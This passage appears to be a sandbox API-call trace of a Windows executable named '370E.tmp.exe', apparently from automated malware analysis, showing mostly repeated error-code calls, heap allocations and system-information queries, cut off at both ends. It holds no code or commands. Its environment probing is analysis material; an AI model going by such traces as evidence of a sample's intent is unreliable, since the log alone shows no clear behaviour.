xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x38\x7d\xbc\x01\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0043.233] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x47c8f0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\370e.tmp.exe")) returned 0x32 [0043.233] GetLastError () returned 0x0 [0043.233] SetLastError (dwErrCode=0x0) [0043.233] GetLastError () returned 0x0 [0043.233] SetLastError (dwErrCode=0x0) [0043.233] GetLastError () returned 0x0 [0043.233] SetLastError (dwErrCode=0x0) [0043.233] GetLastError () returned 0x0 [0043.233] SetLastError (dwErrCode=0x0) [0043.233] GetLastError () returned 0x0 [0043.233] SetLastError (dwErrCode=0x0) [0043.233] GetLastError () returned 0x0 [0043.233] SetLastError (dwErrCode=0x0) [0043.233] GetLastError () returned 0x0 [0043.233] SetLastError (dwErrCode=0x0) [0043.233] GetLastError () returned 0x0 [0043.233] SetLastError (dwErrCode=0x0) [0043.233] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.237] GetLastError () returned 0x0 [0043.237] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x68) returned 0x5c3b50 [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.241] SetLastError (dwErrCode=0x0) [0043.241] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.242] GetLastError () returned 0x0 [0043.242] SetLastError (dwErrCode=0x0) [0043.243] GetLastError () returned 0x0 [0043.243] SetLastError (dwErrCode=0x0) [0043.243] GetLastError () returned 0x0 [0043.243] SetLastError (dwErrCode=0x0) [0043.243] GetLastError () returned 0x0 [0043.243] SetLastError (dwErrCode=0x0) [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x98) returned 0x5c3bc0 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1f) returned 0x5c1668 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x36) returned 0x5c0838 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x37) returned 0x5c3c60 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3c) returned 0x5c3ca0 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x31) returned 0x5c3ce8 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x17) returned 0x5c0878 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x24) returned 0x5c3d28 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x14) returned 0x5c3d58 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xd) returned 0x5c0a58 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x25) returned 0x5c3d78 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x39) returned 0x5c3da8 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x18) returned 0x5c3df0 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x17) returned 0x5c3e10 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xe) returned 0x5c0a70 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x69) returned 0x5c3e30 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3e) returned 0x5c3ea8 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1b) returned 0x5c1690 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1d) returned 0x5c16b8 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x48) returned 0x5c3ef0 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x12) returned 0x5c3f40 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x18) returned 0x5c3f60 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1b) returned 0x5c16e0 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x24) returned 0x5c3f80 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x29) returned 0x5c3fb0 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1e) returned 0x5c1708 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x41) returned 0x5c28e0 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x17) returned 0x5c2930 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xf) returned 0x5c0a88 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x16) returned 0x5c2950 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2a) returned 0x5c2970 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x29) returned 0x5c29a8 [0043.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x15) returned 0x5c29e0 [0043.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1e) returned 0x5c1730 [0043.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2a) returned 0x5c2a00 [0043.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x12) returned 0x5c2a38 [0043.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x18) returned 0x5c2a58 [0043.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x46) returned 0x5c2a78 [0043.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c33b8 | out: hHeap=0x5b0000) returned 1 [0043.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x80) returned 0x5c2ac8 [0043.244] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0043.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x800) returned 0x5c2b50 [0043.244] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40c304) returned 0x0 [0043.244] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5c2ac8) returned 0x80 [0043.245] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5c2ac8) returned 0x80 [0043.245] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5c2ac8) returned 0x80 [0043.245] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5c2ac8) returned 0x80 [0043.245] GetLastError () returned 0x0 [0043.245] SetLastError (dwErrCode=0x0) [0043.245] GetLastError () returned 0x0 [0043.245] SetLastError (dwErrCode=0x0) [0043.245] GetLastError () returned 0x0 [0043.245] SetLastError (dwErrCode=0x0) [0043.245] GetLastError () returned 0x0 [0043.245] SetLastError (dwErrCode=0x0) [0043.245] GetLastError () returned 0x0 [0043.245] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.246] GetLastError () returned 0x0 [0043.246] SetLastError (dwErrCode=0x0) [0043.247] GetLastError () returned 0x0 [0043.247] SetLastError (dwErrCode=0x0) [0043.247] GetLastError () returned 0x0 [0043.247] SetLastError (dwErrCode=0x0) [0043.247] GetLastError () returned 0x0 [0043.247] SetLastError (dwErrCode=0x0) [0043.247] GetLastError () returned 0x0 [0043.247] SetLastError (dwErrCode=0x0) [0043.247] GetLastError () returned 0x0 [0043.247] SetLastError (dwErrCode=0x0) [0043.247] GetLastError () returned 0x0 [0043.247] SetLastError (dwErrCode=0x0) [0043.247] GetLastError () returned 0x0 [0043.247] SetLastError (dwErrCode=0x0) [0043.247] GetLastError () returned 0x0 [0043.247] SetLastError (dwErrCode=0x0) [0043.247] GetLastError () returned 0x0 [0043.247] SetLastError (dwErrCode=0x0) [0043.247] GetLastError () returned 0x0 [0043.247] SetLastError (dwErrCode=0x0) [0043.247] GetLastError () returned 0x0 [0043.247] SetLastError (dwErrCode=0x0) [0043.247] GetLastError () returned 0x0 [0043.247] SetLastError (dwErrCode=0x0) [0043.247] GetLastError () returned 0x0 [0043.248] SetLastError (dwErrCode=0x0) [0043.248] GetLastError () returned 0x0 [0043.248] SetLastError (dwErrCode=0x0) [0043.248] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.249] SetLastError (dwErrCode=0x0) [0043.249] GetLastError () returned 0x0 [0043.250] SetLastError (dwErrCode=0x0) [0043.250] GetTickCount () returned 0x19f2b [0043.250] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.250] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.250] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.250] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.250] GetTickCount () returned 0x19f2b [0043.250] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.250] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.250] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.250] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.250] GetTickCount () returned 0x19f2b [0043.250] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.251] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.251] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.251] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.251] GetTickCount () returned 0x19f2b [0043.251] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.251] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.251] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.251] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.251] GetTickCount () returned 0x19f2b [0043.251] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.251] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.251] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.251] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.251] GetTickCount () returned 0x19f2b [0043.251] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.251] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.251] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.251] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.251] GetTickCount () returned 0x19f2b [0043.251] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.251] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.251] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, 